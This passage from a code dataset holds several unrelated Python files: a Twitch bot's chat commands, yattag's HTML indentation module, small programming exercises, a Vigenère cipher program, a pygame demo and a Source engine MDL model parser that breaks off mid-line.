catch_pokemon_cmd(event, num_or_name, *args):\n    if event.priv < PRIV.VIP:\n        return\n    event[\"message\"] = \"This isn't Pokémon\"\n    return event\n\n    pokemon = pokedex.get_pokemon(num_or_name)\n\n    try:\n        if pokemon:\n            pokedex.player_pokedex_catch(event[\"channel\"], pokemon[\"id\"])\n            caughtby = json.loads(pokemon[\"caughtby\"])\n            caughtby[event[\"channel\"]] = f\"{time.time()}\"\n            pokemon[\"caughtby\"] = json.dumps(caughtby)\n            db.update(\"pokedex\", pokemon, [\"name\"])\n            event[\"message\"] = f\"{pokemon['name']} was caught by {event['channel']}\"\n        else:\n            event[\"message\"] = f\"Pokemon '{num_or_name}' not found\"\n    except Exception as e:\n        print(e)\n        event[\"message\"] = \"\"\n\n    return event\n\n\ndef poke_info_cmd(event, *args):\n    event[\"message\"] = \"\"\"Using a Super Gameboy 2 and a Link-Cable to Internet adaptor,\n                          we're getting 151 Pokemon the original way\"\"\"\n    return event\n\n\ndef uncatch_pokemon_cmd(event, num, *args):\n    if event.priv < PRIV.VIP:\n        return\n\n    pokedex.player_pokedex_catch(event[\"channel\"], num, False)\n\n\ndef red_cmd(event, *args):\n    event[\"message\"] = \"twitch.tv/theadrain is playing Red\"\n    return event\n\n\ndef blue_cmd(event, *args):\n    event[\"message\"] = \"yes, it is blue\"\n    return event\n\n\ndef green_cmd(event, *args):\n    event[\"message\"] = \"Look Dorothy, it's green\"\n    return event\n\n\nPRAISE_ENDINGS = [\n    \"saviour of ages!\",\n    \"beware of false prophets\",\n    \"P R A I S E\",\n    \"GDPR compliant\",\n    \"Euclidian\",\n    \"Non-Euclidian\",\n    \"Tubular\",\n    \"Uninflammable\",\n    \"Hydrate\",\n    \"Lost but not forgotten\"\n    \"mostly hyperbole\",\n    \"has pictures of Spiderman\",\n    \"turing complete\",\n    \"undefeated\",\n    \"gud at speeling\",\n    \"this isn't even their final form\",\n    \"pet friendly\",\n    \"& Knuckles\",\n    \"HTTP Error 418 (Teapot Error)\",\n    \"follows the train, CJ\",\n    \"may contain nuts\",\n    \"Wololo.\",\n    \"lord and saviour\",\n    \"and also CUBE\",\n    \"healer of leopards\",\n    \"a good egg\",\n    \"like and subscribe\",\n    \"'cause why not?\",\n    \"{praise} {praise} {praise}\",\n    \"marginally above average\",\n    \"Rock-Paper-Scissors champion of 1994\",\n    \"accept some substitutes\",\n    \"contains chemicals known to the State of California to ... be safe\",\n    \"great at a barbecue\",\n    \"tell your friends\",\n    \"easy to clean\",\n    \"ＤＥＬＵＸＥ\",\n    \"™\",\n    \"All rights reserved\",\n    \"jack of all trades\",\n    \"'IwlIj jachjaj\",\n    \"all transactions are final\",\n    \"tax-deductable!\",\n    \"likes ice-cream\",\n    \"can't be all bad\",\n    \"in stereo!\",\n    \"now for only 19,99\",\n    \"better than Baby Shark\",\n    \"\\\"The best thing on the internet.\\\" - Abraham Lincoln\",\n    \"omnishambles!\",\n    \"'aint afraid of no ghost\",\n    \"12/10\",\n    \"better than a bucket of steam\",\n    \"can be worn as a hat\",\n    \"available in all good toystores\"\n]\n\nCALM = [\n    \"Add three drops of orange blossom oil to a cup of mineral water, and spray it from an atomiser when you need to feel relaxed.\",\n    \"Concentrate on silence. when it comes, dwell on what it sounds like. Then strive to carry that quiet with you wherever you go.\",\n    \"Hard-working people never waste time on frivolous, fun-filled activities. Yet, for hard-working people, any time spent this way is far from wasted.\",\n    \"As harsh as it may sound, mixing with highly stressed people will make you feel stressed. on the other hand, mixing with calm people - even for the breifest time - will leave you feeling calm.\",\n    \"When you dwell on the sound of your breathing, when you can really feel it coming and going, peace will not be far behind.\",\n    \"There's always a temptation to lump all your life changes into one masochistic event. Do your stress levels a favour and take on changes one at a time.\",\n    \"The more beautiful your fruit bowl, the better stocked it is, the less likely you are to turn to stress-enhancing snack foods. Eat more fruit, you'll feel more relaxed, it's as sweet as that.\",\n    \"The most important skill in staying calm is not to lose sleep over small issues. The second most important skill is to be able to view ALL issues as small issues.\",\n    \"Start every journey ten minutes early. Not only will you avoid the stress of haste, but if all goes well you'll have ten minutes to relax before your next engagement.\",\n    \"Most worries are future-based. They revolve around things that, in most cases, will never happen. Concentrate on the present and the future will take care of itself.\",\n    \"If you substitute a herbal tea such as peppermint for more stimulating drinks such as coffee and tea, your ability to be calm will be enhanced many times.\",\n    \"If you want to trick your subconscious into helping you feel calm, simply repeat: 'Every moment I feel calmer and calmer.'\"\n]\n\n\ndef praise_cmd(event, praise, *args):\n    ending = random.sample(PRAISE_ENDINGS, 1)[0]\n    message = \" \".join([praise, *args])\n    event[\"message\"] = f\"Praise {message} - {ending.format(praise=message)}\"\n    return event\n\n\ndef calm_cmd(event, *args):\n    event[\"message\"] = random.sample(CALM, 1)[0]\n    return event\n\n\ndef death_cmd(event, *args):\n    if event.priv < PRIV.VIP:\n        return\n\n    if not db.exists(\"channel\"):\n        db.create(\"channel\", primary=\"channel\")\n    try:\n        data = db.find(\"channel\", channel=event[\"channel\"])\n        if data is None:\n            data = {\"channel\": event[\"channel\"], \"deaths\": 0}\n        DEATHS = data[\"deaths\"]\n    except Exception:\n        DEATHS = 0\n\n    plus = \" \".join(args)\n    update = True\n    if plus == \"\":\n        update = False\n    elif plus == \"++\":\n        DEATHS += 1\n    elif plus == \"--\":\n        DEATHS -= 1\n    else:\n        try:\n            DEATHS = int(plus)\n        except ValueError:\n            update = False\n            event[\"message\"] = f\"/me unknown deaths value: {plus}\"\n            return event\n\n    if update:\n        data[\"deaths\"] = DEATHS\n        # TODO: logger\n        db.update(\"channel\", data, [\"channel\"])\n\n    times = \"times\"\n    if DEATHS == 1:\n        times = \"time\"\n    event[\"message\"] = f\"/me Our illustrious strimmer has died {DEATHS} {times}\"\n    return event\n\n\ndef proffer_cmd(event, *args):\n    proffered = \" \".join(args)\n    event[\"message\"] = f\"!add {proffered}\"\n    return event\n\n\ndef discord_cmd(event, *args):\n    event[\"message\"] = \"Ashnas has one too! https://discord.gg/2xR2fxr\"\n    return event\n\n\nCOMMANDS = {\n    '!goawayashnasbot': goaway_cmd,\n    '!no': no_cmd,\n    '!so': so_cmd,\n    '!bs': bs_cmd,\n    '!dq': discord_cmd,\n    '!discord': discord_cmd,\n    '!ashnasbot': hello_cmd,\n    '!backseat': bs_cmd,\n    '!praise': praise_cmd,\n    '!calm': calm_cmd,\n    '!deaths': death_cmd,\n    '!uptime': uptime,\n    '!proffer': proffer_cmd,\n    # Poke\n    '!pokedex': pokedex_cmd,\n    '!catch': catch_pokemon_cmd,\n    '!uncatch': uncatch_pokemon_cmd,\n    '!151': poke_info_cmd,\n    '!red': red_cmd,\n    '!blue': blue_cmd,\n    '!green': green_cmd,\n    # meme\n    '!gameinfo': gameinfo_cmd,\n    '!mantras': mantras_cmd,\n    '!approve': approve_cmd,\n    '!beta': beta_cmd,\n    '!win': win_cmd,\n    '!save': save_cmd,\n    '!drink': drink_cmd,\n}\n","repo_name":"ashnasbot/ashnasbot","sub_path":"ashnasbot/twitch/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":15158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71361974821","text":"import re\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Set\nfrom typing import Tuple\nfrom typing import Union\n\n# options for the indentation of text inside of xml or html nodes\n# solving issue https://github.com/leforestier/yattag/issues/38\n# while maintaining compatibility with older versions of yattag\nNO = False\nFIRST_LINE = True\nEACH_LINE = 2\n\n__all__ = ['indent', 'NO', 'FIRST_LINE', 'EACH_LINE']\n\nclass TokenMeta(type):\n\n    _token_classes = {}  # type: Dict[str, 'TokenBase']\n\n    def __new__(cls, name, bases, attrs):\n        # type: (str, Tuple[Any], Dict[str, Any]) -> Any\n        kls = type.__new__(cls, name, bases, attrs)\n        cls._token_classes[name] = kls\n        return kls\n\n    @classmethod\n    def getclass(cls, name):\n        # type: (str) -> Any\n        return cls._token_classes[name]\n\n# need to proceed that way for Python 2/3 compatility:\nTokenBase = TokenMeta('TokenBase', (object,), {}) # type: Any\n\nclass Token(TokenBase): # type: ignore\n    regex = None # type: Union[None, str]\n\n    def __init__(self, groupdict):\n        # type: (Dict[str, Any]) -> None\n        self.content = groupdict[self.__class__.__name__]\n\nclass Text(Token):\n    regex = '[^<>]+'\n    def __init__(self, *args, **kwargs):\n        # type: (Dict[str, Any], Any) -> None\n        super(Text, self).__init__(*args, **kwargs)\n        self._isblank = None # type: Union[None, bool]\n\n    @property\n    def isblank(self):\n        # type: () -> bool\n        if self._isblank is None:\n            self._isblank = not self.content.strip()\n        return self._isblank\n\nclass Comment(Token):\n    regex = r'<!--((?!-->).)*.?-->'\n\nclass CData(Token):\n    regex = r'<!\\[CDATA\\[(.*?)\\]\\]>'\n\nclass Doctype(Token):\n    regex = r'''<!DOCTYPE(\\s+([^<>\"']+|\"[^\"]*\"|'[^']*'))*>'''\n\n_open_tag_start = r'''\n    <\\s*\n        (?P<{tag_name_key}>{tag_name_rgx})\n        (\\s+[^/><\"=\\s]+     # attribute\n            (\\s*=\\s*\n                (\n                    [^/><\"=\\s]+ |    # unquoted attribute value\n                    (\"[^\"]*\") |    # \" quoted attribute value\n                    ('[^']*')      # ' quoted attribute value\n                )\n            )?  # the attribute value is optional (we're forgiving)\n        )*\n    \\s*'''\n\nclass Script(Token):\n    _end_script = r'<\\s*/\\s*script\\s*>'\n\n    regex = _open_tag_start.format(\n        tag_name_key = 'script_ignore',\n        tag_name_rgx = 'script',\n    ) + r'>((?!({end_script})).)*.?{end_script}'.format(\n        end_script = _end_script\n    )\n\nclass Style(Token):\n    _end_style = r'<\\s*/\\s*style\\s*>'\n\n    regex = _open_tag_start.format(\n        tag_name_key = 'style_ignore',\n        tag_name_rgx = 'style',\n    ) + r'>((?!({end_style})).)*.?{end_style}'.format(\n        end_style = _end_style\n    )\n\nclass XMLDeclaration(Token):\n    regex = _open_tag_start.format(\n        tag_name_key = 'xmldecl_ignore',\n        tag_name_rgx = r'\\?\\s*xml'\n    ) + r'\\?\\s*>'\n\nclass XMLProcessingInstruction(Token):\n    regex = r'<\\?(?!xml\\s)[^?/><\"\\s]+(\\s[^?>]*)?\\?>'\n\nclass NamedTagTokenMeta(TokenMeta):\n    def __new__(cls, name, bases, attrs):\n        # type: (str, Tuple[Any], Dict[str, Any]) -> Any\n        kls = TokenMeta.__new__(cls, name, bases, attrs)\n        if name not in('NamedTagTokenBase', 'NamedTagToken'):\n            kls.tag_name_key = 'tag_name_%s' % name\n            kls.regex = kls.regex_template.format(\n                tag_name_key = kls.tag_name_key,\n                tag_name_rgx = kls.tag_name_rgx\n            )\n        return kls\n\n# need to proceed that way for Python 2/3 compatility\nNamedTagTokenBase = NamedTagTokenMeta(\n    'NamedTagTokenBase',\n    (Token,),\n    {'tag_name_rgx': r'[^?/><\"\\s]+'}\n)\n\nclass NamedTagToken(NamedTagTokenBase): # type: ignore\n    def __init__(self, groupdict):\n        # type: (Dict[str, Any]) -> None\n        super(NamedTagToken, self).__init__(groupdict)\n        self.tag_name = groupdict[self.__class__.tag_name_key]\n\nclass OpenTag(NamedTagToken):\n    regex_template = _open_tag_start + '>'\n\nclass SelfTag(NamedTagToken): # a self closing tag\n    regex_template = _open_tag_start + r'/\\s*>'\n\nclass CloseTag(NamedTagToken):\n    regex_template = r'<\\s*/(?P<{tag_name_key}>{tag_name_rgx})(\\s[^/><\"]*)?>'\n\nclass XMLTokenError(Exception):\n        pass\n\nclass Tokenizer(object):\n\n    def __init__(self, token_classes):\n        # type: (Tuple[Any, ...]) -> None\n        self.token_classes = token_classes\n        self.token_names = [kls.__name__ for kls in token_classes]\n        self.get_token = None # type: Any\n\n    def _compile_regex(self):\n        # type: () -> None\n        self.get_token = re.compile(\n            '|'.join(\n                '(?P<%s>%s)' % (klass.__name__, klass.regex) for klass in self.token_classes\n            ),\n            re.X | re.I | re.S\n        ).match\n\n    def tokenize(self, string):\n        # type: (str) -> List[Any]\n        if not self.get_token:\n            self._compile_regex()\n        result = [] # type: List[Any]\n        append = result.append\n        start = 0\n        l = len(string)\n        while start < l:\n            mobj = self.get_token(string, start)\n            if mobj:\n                groupdict = mobj.groupdict()\n                class_name = next(name for name in self.token_names if groupdict[name])\n                token = TokenMeta.getclass(class_name)(groupdict)\n                append(token)\n                start += len(token.content)\n            else:\n                raise XMLTokenError(\"Unrecognized XML token near %s\" % repr(string[:100]))\n\n        return result\n\ntokenize = Tokenizer(\n    (Text, Comment, CData, Doctype, XMLDeclaration, Script, Style, OpenTag, SelfTag, CloseTag, XMLProcessingInstruction)\n).tokenize\n\nclass TagMatcher(object):\n\n    class SameNameMatcher(object):\n        def __init__(self):\n            # type: () -> None\n            self.unmatched_open = [] # type: List[Any]\n            self.matched = {} # type: Dict[str, Any]\n\n        def sigclose(self, i):\n            # type: (Any) -> Any\n            if self.unmatched_open:\n                open_tag = self.unmatched_open.pop()\n                self.matched[open_tag] = i\n                self.matched[i] = open_tag\n                return open_tag\n            else:\n                return None\n\n        def sigopen(self, i):\n            # type: (Any) -> Any\n            self.unmatched_open.append(i)\n\n    def __init__(self, token_list, blank_is_text = False):\n        # type: (List[Any], bool) -> None\n        self.token_list = token_list\n        self.name_matchers = {} # type: Dict[str, Any]\n        self.direct_text_parents = set() # type: Set[Any]\n\n        for i in range(len(token_list)):\n            token = token_list[i]\n            tpe = type(token)\n            if tpe is OpenTag:\n                self._get_name_matcher(token.tag_name).sigopen(i)\n            elif tpe is CloseTag:\n                self._get_name_matcher(token.tag_name).sigclose(i)\n\n        # TODO move this somewhere else\n        current_nodes = []\n        for i in range(len(token_list)):\n            token = token_list[i]\n            tpe = type(token)\n            if tpe is OpenTag and self.ismatched(i):\n                current_nodes.append(i)\n            elif tpe is CloseTag and self.ismatched(i):\n                current_nodes.pop()\n            elif tpe is Text and (blank_is_text or not token.isblank):\n                if current_nodes:\n                    self.direct_text_parents.add(current_nodes[-1])\n\n    def _get_name_matcher(self, tag_name):\n        # type: (str) -> Any\n        try:\n            return self.name_matchers[tag_name]\n        except KeyError:\n            self.name_matchers[tag_name] = name_matcher = self.__class__.SameNameMatcher()\n            return name_matcher\n\n    def ismatched(self, i):\n        # type: (Any) -> bool\n        return i in self.name_matchers[self.token_list[i].tag_name].matched\n\n    def directly_contains_text(self, i):\n        # type: (Any) -> bool\n        return i in self.direct_text_parents\n\nnew_line_rgx= re.compile(r'(\\r?\\n)', flags = re.MULTILINE)\n\ndef indent(string, indentation = '  ', newline = '\\n', indent_text = NO, blank_is_text = False):\n    # type: (str, str, str, bool, bool) -> Any\n    \"\"\"\n    takes a string representing a html or xml document and returns\n     a well indented version of it\n\n    arguments:\n    - string: the string to process\n    - indentation: the indentation unit (default to two spaces)\n    - newline: the string to be use for new lines\n      (default to  '\\\\n', could be set to '\\\\r\\\\n' for example)\n    - indent_text:\n        the value of this option should one of yattag.NO, yattag.FIRST_LINE or yattag.EACH_LINE\n\n        if indent_text is NO, text nodes won't be indented, and the content\n         of any node directly containing text will be unchanged:\n\n            <p>Hello</p> will be unchanged\n\n            <p><strong>Hello</strong> world!</p> will be unchanged\n             since ' world!' is directly contained in the <p> node.\n\n            This is the default since that's generally what you want for HTML.\n\n        if indent_text is FIRST_LINE, the first line of text nodes will be indented:\n\n            <p>Hello</p>\n\n            would result in\n\n            <p>\n              hello\n            </p>\n\n            and:\n\n            <p>Hello,\n            where are the keys?</p>\n\n            would result in\n\n            <p>\n              hello,\n            where are the keys?\n            </p>\n\n        if indent_text is EACH_LINE, each line inside the text nodes will be indented:\n\n            <code class=\"scala-source\">\n            object HelloWorld {\n                def main(args: Array[String]) {\n                    println(\"Hello, world!\")\n                }\n            }\n            </code>\n\n            would result in\n\n            <code class=\"scala-source\">\n\n              object HelloWorld {\n                  def main(args: Array[String]) {\n                      println(\"Hello, world!\")\n                  }\n              }\n\n            </code>\n\n    - blank_is_text:\n        if False, completely blank texts are ignored. That is the default.\n    \"\"\"\n    tokens = tokenize(string)\n    tag_matcher = TagMatcher(tokens, blank_is_text = blank_is_text)\n    ismatched = tag_matcher.ismatched\n    directly_contains_text = tag_matcher.directly_contains_text\n    result = [] # type: List[Any]\n    append = result.append\n    level = 0\n    sameline = 0\n    was_just_opened = False\n    tag_appeared = False\n    def _indent():\n        # type: () -> None\n        if tag_appeared:\n            append(newline)\n        for i in range(level):\n            append(indentation)\n    def _append_text(text):\n        # type: (str) -> None\n        if not sameline:\n            _indent()\n        if indent_text is EACH_LINE:\n            append(new_line_rgx.sub(r'\\1' + indentation * level, text))\n        else:\n            append(text)\n    for i,token in enumerate(tokens):\n        tpe = type(token)\n        if tpe is Text:\n            if blank_is_text or not token.isblank:\n                _append_text(token.content)\n                was_just_opened = False\n        elif tpe is OpenTag and ismatched(i):\n            was_just_opened = True\n            if sameline:\n                sameline += 1\n            else:\n                _indent()\n            if indent_text is NO and directly_contains_text(i):\n                sameline = sameline or 1\n            append(token.content)\n            level += 1\n            tag_appeared = True\n        elif tpe is CloseTag and ismatched(i):\n            level -= 1\n            tag_appeared = True\n            if sameline:\n                sameline -= 1\n            elif not was_just_opened:\n                _indent()\n            append(token.content)\n            was_just_opened = False\n        else:\n            if not sameline:\n                _indent()\n            append(token.content)\n            was_just_opened = False\n            tag_appeared = True\n    return ''.join(result)\n\nif __name__ == '__main__':\n    import sys\n    print(indent(sys.stdin.read()))\n","repo_name":"leforestier/yattag","sub_path":"yattag/indentation.py","file_name":"indentation.py","file_ext":"py","file_size_in_byte":12029,"program_lang":"python","lang":"en","doc_type":"code","stars":307,"dataset":"github-code","pt":"35"}
{"seq_id":"31773694264","text":"# URI 1036 em Python 3.9\n# Programador: Matheus Felipe Alves Durães\n# Não copie códigos, apenas leia-os e\n# tente entender O QUE e POR QUE fazem o que fazem. \n\n# DA biblioteca math IMPORTAR sqrt (raiz quadrada)\nfrom math import sqrt \n\ndef main():\n    # Recebe os valores A B C para possivelmente formar um triangulo\n    a, b, c = map(float, input().split())\n\n    # Aqui calculamos a primeira parte do delta sem a raiz quadrada\n    delta = b**2 - 4*a*c\n\n    # Fazemos uma verificação simples se o delta é menor ou igual a 0\n    # OU se A é igual a zero, pois se for também se torna impossivel calcular\n    if delta <= 0 or a <= 0:\n        print(\"Impossivel calcular\")\n    \n    else:\n        # Caso não seja impossivel de calcular então agora fazemos\n        # a raiz quardade de delta\n        delta = sqrt(delta)\n\n        # Calculamos o R1 e o R2\n        r1 = (-b + delta)/(2*a)\n        r2 = (-b - delta)/(2*a)\n\n        # Printando os dois resultados\n        print(\"R1 = %.5f\" %(r1) )\n        print(\"R2 = %.5f\" %(r2) )\n\nmain()","repo_name":"Mat780/URI-Beecrowd","sub_path":"Python/1000-1999/1036.py","file_name":"1036.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27814781031","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\nn = int(input())\ntree = [[] for i in range(n+1)]\nfor i in range(n-1):\n    a, b = map(int, input().split())\n    tree[a].append(b)\n    tree[b].append(a)\nvisited = [False] * (n+1)\nres = [0] * (n+1)\nq = deque()\nq.append((1, None))\nwhile q:\n    val, parent = q.popleft()\n    visited[val] = True\n    res[val] = parent\n    for i in tree[val]:\n        if not visited[i]:\n            q.append((i, val))\n\nprint('\\n'.join(map(str, res[2:])))","repo_name":"Sadsprin/codingTest","sub_path":"baekjoon/python/dfsorbfs/11725.py","file_name":"11725.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23944126577","text":"import pyfiglet,termcolor\r\ndef EncryptionVigenere(word,key):\r\n    cipherchar=[]\r\n    if len(key)==len(word):\r\n        for w in range(0,len(word)):\r\n            c=ord(word[w])-97\r\n            ke=ord(key[w])-97\r\n            total=(c+ke)%26\r\n            cipherchar.append(chr(total+97))\r\n        final=''.join(cipherchar)\r\n        return final\r\n    else:\r\n        if len(key)>len(word):\r\n            newKey=list(key[0:len(word)])\r\n        else:\r\n            newKey=list(key)\r\n        cipherchar=[]\r\n        i=0#index char of key    \r\n        for editk in range(len(word)-len(key)):\r\n            newKey.append(key[i])\r\n            i=(i+1)%len(key)   \r\n        print(\"the edit key: \".capitalize()+''.join(newKey))\r\n        for w in range(len(word)):\r\n            c=ord(word[w])-97\r\n            k=ord(newKey[w])-97\r\n            total=(c+k)%26\r\n            cipherchar.append(chr(total+97))\r\n        final=''.join(cipherchar)\r\n        return final\r\n\r\ndef DecryptionVigenere(cipword,key):\r\n   \r\n    Decrcipherchar=[]\r\n    if len(key)==len(cipword):\r\n        for w in range(0,len(cipword)):\r\n            c=ord(cipword[w])-97\r\n            k=ord(key[w])-97\r\n            total=((c-k)+26)%26\r\n            Decrcipherchar.append(chr(total+97))\r\n        final=''.join(Decrcipherchar)\r\n        return final\r\n    else: \r\n        if len(key)>len(cipword):\r\n            EditKey=list(key[0:len(cipword)])\r\n        else:\r\n            EditKey=list(key)\r\n        i=0#index char of key    \r\n        for editk in range(len(cipword)-len(key)):\r\n            EditKey.append(key[i])\r\n            i=(i+1)%len(key)  \r\n        print(\"the orginal key : \".capitalize()+''.join(EditKey))\r\n        for w in range(len(cipword)):\r\n            c=ord(cipword[w])-97\r\n            k=ord(EditKey[w])-97\r\n            total=((c-k)+26)%26\r\n            Decrcipherchar.append(chr(total+97))\r\n        final=''.join(Decrcipherchar)\r\n        return final\r\ndef mainVigenere():\r\n    playfair=pyfiglet.figlet_format(\"PlayFair : )\")\r\n    print(termcolor.colored(playfair,color='yellow'))\r\n    choice=True\r\n    while choice==True:\r\n        ChoiceDec=input('A-Encryption\\nB-Decryption\\nplease enter your choice A OR B: ').upper()  \r\n        if ChoiceDec=='A':\r\n            encryption=pyfiglet.figlet_format(\"Encryption\")\r\n            print(termcolor.colored(encryption,color='magenta'))\r\n            text=input('please enter your text: ').lower().replace(' ','')\r\n            Key=input('enter your key: ').lower()\r\n            if text.isalpha() and Key.isalpha():\r\n                Ctext=EncryptionVigenere(text,Key)\r\n                print('the text encryption is: ',Ctext)\r\n            else: print(termcolor.colored(f'please enter a valid text: (alphabet)/Key: (alphabet) with no symbols text: ({text}) , Key: ({Key})'.capitalize(),color=\"red\"))\r\n            choice=input(termcolor.colored('wold you want do try again Y/N : '.capitalize(),color=\"green\")).upper()\r\n            if choice=='Y':\r\n                    choice=True\r\n            else:\r\n                End=pyfiglet.figlet_format('End Vigenere : (')\r\n                print(termcolor.colored(End,color='red'))\r\n                choice=False\r\n                \r\n        elif ChoiceDec=='B':\r\n            decryption=pyfiglet.figlet_format(\"Decryption\")\r\n            print(termcolor.colored(decryption,color='cyan'))\r\n            ciptext=input('please enter your ciphertext: ').lower().replace(' ','')\r\n            Key=input('enter your key: ').lower()\r\n            if ciptext.isalpha() and Key.isalpha():\r\n                plaintext=DecryptionVigenere(ciptext,Key)\r\n                print(\"your plaintext is: \",plaintext)\r\n            else:\r\n                print(termcolor.colored(f'please enter a valid text: (alphabet)/Key: (alphabet) with no symbols text: ({text}) , Key: ({Key})'.capitalize(),color=\"red\"))\r\n            choice=input(termcolor.colored('wold you want do try again Y/N : '.capitalize(),color=\"green\")).upper()\r\n            if choice=='Y':\r\n                    choice=True\r\n            else:\r\n                End=pyfiglet.figlet_format('End Vigenere : (')\r\n                print(termcolor.colored(End,color='red'))\r\n                choice=False\r\n                \r\n        else:\r\n            print(termcolor.colored('worring choice'.upper(),color=\"red\"))\r\n            choice=input(termcolor.colored('This is not valid choice, wold you want do try again Y/N : '.capitalize(),color=\"green\")).upper()\r\n            if choice=='Y':\r\n                    choice=True\r\n            else:\r\n                End=pyfiglet.figlet_format('End Vigenere : (')\r\n                print(termcolor.colored(End,color='red'))\r\n                choice=False\r\n\r\n\r\n","repo_name":"Islam203nagah/Security-Algrathims-Project","sub_path":"VigenereCipherAlgorithm.py","file_name":"VigenereCipherAlgorithm.py","file_ext":"py","file_size_in_byte":4646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43485053112","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 15 16:26:15 2020\n\n@author: jam\n\"\"\"\n#%%\nimport pygame as pg\nimport random as rnd\nimport sys\n\n#%%\npg.init()\n\n#screen_size = (2560,1440) \nscreen_size = (1920, 1080)\nscreen = pg.display.set_mode(screen_size)\npg.display.set_caption(\"Some tests with PyGame\")\nfinish = False\n\nwhile not finish:\n    for event in pg.event.get():\n        if event.type == pg.QUIT:\n            finish = True\n        elif event.type == pg.KEYDOWN:\n            if event.key == pg.K_f:\n                pg.display.toggle_fullscreen()\n            elif event.key == pg.K_q:\n                # quit after pressing Q\n                finish = True\n                      \n    color = (rnd.randint(0,255), rnd.randint(0,255), rnd.randint(0,255))\n    position = (rnd.randint(1,screen_size[0]), rnd.randint(1, screen_size[1]))\n    pg.draw.circle(screen, color, position, 10)\n    pg.display.update()\n\nsys.exit()\n","repo_name":"jmiszczak/pygame-tests","sub_path":"rand-circs.py","file_name":"rand-circs.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69955938340","text":"from io import BufferedReader\nfrom typing import List, Tuple\n\nfrom srcstudiomodel.mdl_enum import MDLFlag\n\nfrom .util import _struct_unpack\nfrom .type import Matrix3x4, Vector3, Vector4\n\n\ndef _read_name64(buf: BufferedReader) -> str:\n    return buf.read(64).decode().rstrip('\\0')\n\n\ndef _read_strings(buf: BufferedReader, off: int, num: int = 1) -> List[str]:\n    start = buf.tell()\n    buf.seek(off)\n    result = [''] * num\n    for i in range(num):\n        s = b''\n        while True:\n            p = buf.read(1)\n            if p == b'\\0':\n                break\n            s += p\n        result[i] = s.decode()\n    buf.seek(start)\n    return result\n\n\nclass MDLMesh:\n    material: int\n    model_index: int\n    num_vertices: int\n    vertex_offset: int\n    num_flexes: int\n    flex_index: int\n    material_type: int\n    material_params: int\n    mesh_id: int\n    center: Tuple[float, float, float]\n\n    def __init__(self, buf: BufferedReader):\n        (self.material, self.model_index, self.num_vertices,\n         self.vertex_offset, self.num_flexes, self.flex_index,\n         self.material_type, self.material_params, self.mesh_id) \\\n            = _struct_unpack('=iiiiiiiii', buf)\n        self.center = _struct_unpack('=fff', buf)\n        buf.seek(68, 1)  # this need fix in future\n\n\nclass MDLModel:\n    name: str\n    type: int\n    bounding_radius: float\n    num_meshes: int\n    mesh_index: int\n    num_vertices: int\n    vertex_index: int\n    tangents_index: int\n    num_attachments: int\n    attachment_index: int\n    num_eyeballs: int\n    eyeball_index: int\n\n    meshes: List[MDLMesh]\n\n    def __init__(self, buf: BufferedReader):\n        start = buf.tell()\n        self.name = _read_name64(buf)\n        (self.type, self.bounding_radius, self.num_meshes, self.mesh_index,\n         self.num_vertices, self.vertex_index, self.tangents_index,\n         self.num_attachments, self.attachment_index, self.num_eyeballs,\n         self.eyeball_index) = _struct_unpack('=ifiiiiiiiii', buf)\n        end = buf.seek(40, 1)\n        buf.seek(start + self.mesh_index)\n        self.meshes = list(map(MDLMesh, [buf]*self.num_meshes))\n        buf.seek(end)\n\n\nclass MDLTexture:\n    name: str\n    flags: int\n    used: int\n\n    def __init__(self, buf: BufferedReader):\n        start = buf.tell()\n        (name_index, self.flags, self.used) = \\\n            _struct_unpack('=iii', buf)\n        self.name = _read_strings(buf, start + name_index)[0]\n        buf.seek(52, 1)\n\n\nclass MDLBodyPart:\n    num_models: int\n    model_index: int\n\n    name: str\n    models: List[MDLModel]\n\n    def __init__(self, buf: BufferedReader):\n        start = buf.tell()\n        (name_index, self.num_models, _, self.model_index) = \\\n            _struct_unpack('=iiii', buf)\n        end = buf.tell()\n        self.name = _read_strings(buf, start + name_index)[0]\n        buf.seek(start + self.model_index)\n        self.models = list(map(MDLModel, [buf]*self.num_models))\n        buf.seek(end)\n\n\nclass MDLBone:\n    name: str\n    parent_id: int\n    parent: 'MDLBone'\n    children: List['MDLBone']\n    bone_controller: List[int]\n    pos: Vector3\n    quat: Vector4\n    rot: Vector3\n    posscale: Vector3\n    rotscale: Vector3\n    pose_to_bone: Matrix3x4\n    q_alignment: Vector4\n    flags: int\n    proctype: int\n    procindex: int\n    physics_bone: int\n    surface_prop_index: int\n    contents: int\n    # unused 32 bytes\n\n    def __init__(self, buf: BufferedReader):\n        start = buf.tell()\n        (name_index, self.parent_id) = _struct_unpack('=ii', buf)\n        self.name = _read_strings(buf, start+name_index)[0]\n        self.bone_controller = list(_struct_unpack('=iiiiii', buf))\n        self.pos = _struct_unpack('=fff', buf)\n        self.quat = _struct_unpack('=ffff', buf)\n        self.rot = _struct_unpack('=fff', buf)\n        self.posscale = _struct_unpack('=fff', buf)\n        self.rotscale = _struct_unpack('=fff', buf)\n        self.pose_to_bone = (\n            _struct_unpack('=ffff', buf),\n            _struct_unpack('=ffff', buf),\n            _struct_unpack('=ffff', buf),\n        )\n        self.q_alignment = _struct_unpack('=ffff', buf)\n        (self.flags, self.proctype, self.procindex, self.physics_bone,\n         self.surface_prop_index, self.contents) \\\n            = _struct_unpack('=iiiiii', buf)\n        self.children = []\n        buf.seek(32, 1)\n\n\nclass MDL:\n    version: int\n    checksum: int\n    name: str\n    # skipped many entries\n    flags: MDLFlag\n    # skipped many entries\n\n    bones: List[MDLBone]\n    root_bone: MDLBone\n    textures: List[MDLTexture]\n    skins: List[List[MDLTexture]]\n    bodyparts: List[MDLBodyPart]\n\n    def __init__(self, buf: BufferedReader):\n        (id, self.version, self.checksum) = _struct_unpack('=III', buf)\n        if id != 